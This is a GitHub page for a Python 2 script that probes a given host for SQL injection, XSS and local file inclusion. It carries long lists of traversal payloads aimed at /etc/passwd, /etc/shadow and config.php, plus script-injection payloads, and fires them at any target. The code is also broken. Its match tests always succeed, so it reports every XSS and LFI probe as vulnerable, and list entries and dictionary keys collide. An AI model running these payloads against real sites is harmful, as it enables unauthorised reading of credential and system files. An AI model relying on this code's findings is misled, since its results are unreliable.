-
Notifications
You must be signed in to change notification settings - Fork 78
/
Copy pathCheckVuln_SQL_XSS_LFI.py
267 lines (207 loc) · 13 KB
/
CheckVuln_SQL_XSS_LFI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#class for check SQL injection , XSS and LFI
import socket
import sys
import urllib
import httplib
import re
import urllib2
import requests
import threading
import Queue
lfi_array = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd","../","../../../../../../../../../../../../etc/hosts","../../../../../../../../../../../../etc/passwd",
"../../../../../../../../../../../../etc/shadow","..\%20\..\%20\..\%20\../etc/passwd","..\..\..\..\..\..\..\..\..\..\etc\passwd",
"....//....//....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//....//etc/hosts",
"..\..\..\..\..\..\..\..\..\..\etc\group",".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd",".\\./.\\./.\\./.\\./.\\./.\\./etc/shadow",
"/","../%00/","/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..",
"../%2A","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..//..//..//..//..//../etc/passwd",
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group","..//..//..//..//..//..//..//etc//passwd",
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
"/'","/\,%ENV\,/","/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd",
"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd","/.../.../.../.../.../%0a",
"/../../../../../../../../%2A","/../../../../../../../../../../etc/passwd","..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2f..%2f%2fetc%2f%2fpasswd",
"/../../../../../../../../../../etc/passwd^^","/../../../../../../../../../../etc/group","../\../\../\../\../\../\../\etc/\passwd",
"/../../../../../../../../../../etc/shadow^^","/../../../../../../../../bin/id|","...//...//...//...//...//...//etc//passwd",
"/..\../..\../..\../..\../..\../..\../etc/passwd","/..\../..\../..\../..\../..\../..\../etc/shadow","../\.../\.../\.../\.../\.../\.../\etc/\passwd",
"/./././././././././././etc/passwd","/./././././././././././etc/shadow","/./././././././././././etc/group",".../.../.../.../.../.../etc/passwd",
"\.\.\.\.\.\.\.\.\etc\passwd","\.\.\.\.\.\.\.\.\etc\group","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow",
"/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00/etc/passwd","/%00//%00//%00//%00//%00//etc//shadow",
"/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/passwd","/%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../%2e%2e\../etc/shadow",
"..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63","..%%35c..%%35c..%%35c..%%35c..%%35c..%%35c","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup"
"..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63etc%25%35%63passwd","..%255c..%255c..%255c..%255c..%255c..%255cetc%255cpasswd",
"..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd","..%5c..%5c..%5c..%5c..%5c..%5c../etc/passwd","..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cgroup",
"..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cshadow","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qf","..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfpasswd",
"..%bg%qf..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc%bg%qfgroup","..%bg%qf..%bg%qf..%bg%qf..%bg%qfetc/passwd","../\.../\.../\.../\.../\.../\.../etc/passwd",
"..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/shadow",
"..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af","..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af",
"..%u2215..%u2215..%u2215..%u2215..%u2215","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd",
"..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215shadow",".%5c../..%5c/..%c0%9v..%5c.%5c../..%5c/..%c0%9v../",
"..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215group","..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215etc%u2215passwd",
"..%255c",".%5c../..%5c","/..%c0%9v../","/..%c0%af../","/..%255c..%255c","/..%c0%af..//..%c0%af..//..%c0%af../",
"/..%255c..%255c/..%255c..%255c/..%255c..%255c","..%255c",".%5c../..%5c/..%c0%9v../","..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216passwd",
"..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216hosts","..%u2216..%u2216..%u2216..%u2216..%u2216etc%u2216shadow","./\./\./\./\./\./\./etc/hosts",
"../\./\./\./\./\./\./\etc/\passwd","../\./\./\./\./\./\./\proc/\self/\fd/\1","..//..//..//..//..//config.php","..\/..\/..\/..\/config.php",
"..%5c..%5c..%5c..%5c..%5c..%5c..%5config.php","..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afconfig.php","..%25%35%63..%25%35%63..%25%35%63config.php",
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2econfig.php"]
xss_array = ["%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E",
"<script>alert(\"XSS\")</script>",
"%3Ch1%3EXSS%3C/h1%3E",
"<h1>XSS</h1>",
"\"><script>alert(\"XSS\")</script>",
"%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E",
"</script><script>alert(\"XSS\")</script>",
"%3C/script%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E",
"\"/><script>alert(\"XSS\")</script>",
"%22/%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E",
"'/><script>alert(\"XSS\")</script>",
"'/%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E",
"</SCRIPT>\"><SCRIPT>alert(\"XSS\")</SCRIPT>",
"%3C/SCRIPT%3E%22%3E%3CSCRIPT%3Ealert(%22XSS%22)%3C/SCRIPT%3E",
"</SCRIPT>\">\"><SCRIPT>alert(\"XSS\")</SCRIPT>",
"%3C/SCRIPT%3E%22%3E%22%3E%3CSCRIPT%3Ealert(%22XSS%22)%3C/SCRIPT%3E",
"\";alert(\"XSS\");\"","%22;alert(%22XSS%22);%22",
"';alert(\"XSS\");'",
"';alert(%22XSS%22);'",
"\";alert(\"XSS\")",
"%22;alert(%22XSS%22)",
"';alert(\"XSS\")",
"';alert(%22XSS%22)"]
sqlerrors = {'MySQL': 'error in your SQL syntax',
'MiscError': 'mysql_fetch',
'MiscError2': 'num_rows',
'Oracle': 'ORA-01756',
'JDBC_CFM': 'Error Executing Database Query',
'JDBC_CFM2': 'SQLServer JDBC Driver',
'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
'MSSQL_Uqm': 'Unclosed quotation mark',
'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
'MS-Access_JETdb': 'Microsoft JET Database',
'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
'Server Error' : 'Server Error',
'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
'Invalid Querystring' : 'Invalid Querystring',
'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
'VBScript Runtime' : 'VBScript Runtime',
'ADODB.Field' : 'ADODB.Field',
'BOF or EOF' : 'BOF or EOF',
'ADODB.Command' : 'ADODB.Command',
'JET Database' : 'JET Database',
'mysql_fetch_array()' : 'mysql_fetch_array()',
'Syntax error' : 'Syntax error',
'mysql_numrows()' : 'mysql_numrows()',
'GetArray()' : 'GetArray()',
'FetchRow()' : 'FetchRow()',
'Input string was not in a correct format' : 'Input string was not in a correct format',
'SQL command net properly ended': 'SQL command net properly ended',
'query failed:': 'query failed:',
'PostgreSQL': 'postgresql.util',
'JDBC': 'oracle.jdbc.',
'JDBC': 'atoracle.jdbc.',
'JDBC': 'system.data.oledb'
}
CONCURRENCY = 5
class CheckVuln_SQL_XSS_LFI():
def __init__(self):
self.threads = []
def checkSQLVulnerability(self,host,sem):
vulnerable = False
EXT = "'"
if host.startswith("http://") == False:
host = "http://" + host + "/"
try:
source = requests.get(host+EXT, timeout=5).text
#request_web = urllib2.Request(host+EXT)
#request_web.add_header('User-Agent', headers)
#text = urllib2.urlopen(request_web)
#source = text.read()
print source
for type,eMSG in sqlerrors.items():
if re.search(eMSG, source, re.I) != None:
vulnerable = True
print "[!] SQL Vulnerable :", host +" "+ eMSG + " " +type
except Exception, e:
print e
if vulnerable == False :
print "[-] Not SQL Vulnerable"
sem.release()
def checkXSSVulnerability(self,host,sem):
vulnerable = False
if host.startswith("http://") == False:
host = "http://" + host + "/"
for xss in xss_array:
try:
#source = urllib2.urlopen(host+xss.replace("\n","")).read()
print host+xss.replace("\n","")
source = requests.get(host+xss.replace("\n","") , timeout=5).text
if re.findall("XSS", source, re.I) != None:
vulnerable = True
print "[!] XSS Vulnerable :", host + xss
except Exception, e:
print e
continue
if vulnerable == False :
print "[-] Not XSS Vulnerable"
sem.release()
def checkLFIVulnerability(self,host,sem):
vulnerable = False
if host.startswith("http://") == False:
host = "http://" + host + "/"
lfiurl = host.rsplit('=', 1)[0]
if lfiurl[-1] != "=":
lfiurl = lfiurl + "="
print lfiurl
for lfi in lfi_array:
try:
source = requests.get(lfiurl+lfi.replace("\n","") , timeout=5).text
if re.findall("root:x", source, re.I) != None:
vulnerable = True
print "[!] LFI Vulnerable :", host + lfi
if re.findall("failed to open stream: No such file or directory", source, re.I) != None:
vulnerable = True
print "[!] LFI Vulnerable :", host + lfi
except Exception, e:
print e
continue
if vulnerable == False :
print "[-] Not LFI Vulnerable"
sem.release()
def startCheckVulnerability(self,ip,hostname):
try:
print '\n###### Started scanning for checkSQLVulnerability \'%s\' ######\n' % (ip)
sem = threading.BoundedSemaphore(value=CONCURRENCY)
thread = threading.Thread(target=self.checkSQLVulnerability, args=(ip, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
print '\n###### Started scanning for checkSQLVulnerability \'%s\' ######\n' % (hostname)
thread = threading.Thread(target=self.checkSQLVulnerability, args=(hostname, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
print '\n###### Started scanning for checkXSSVulnerability \'%s\' ######\n' % (ip)
thread = threading.Thread(target=self.checkXSSVulnerability, args=(ip, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
print '\n###### Started scanning for checkXSSVulnerability \'%s\' ######\n' % (hostname)
thread = threading.Thread(target=self.checkXSSVulnerability, args=(hostname, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
print '\n###### Started scanning for checkLFIVulnerability \'%s\' ######\n' % (ip)
thread = threading.Thread(target=self.checkLFIVulnerability, args=(ip, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
print '\n###### Started scanning for checkLFIVulnerability \'%s\' ######\n' % (hostname)
thread = threading.Thread(target=self.checkLFIVulnerability, args=(ip, sem, ))
self.threads.append(thread)
thread.start()
sem.acquire()
for x in self.threads:
x.join()
except Exception, e:
print 'Error connecting: %s' % e
except socket.timeout:
print 'Error connecting Timeouterror: %s' % e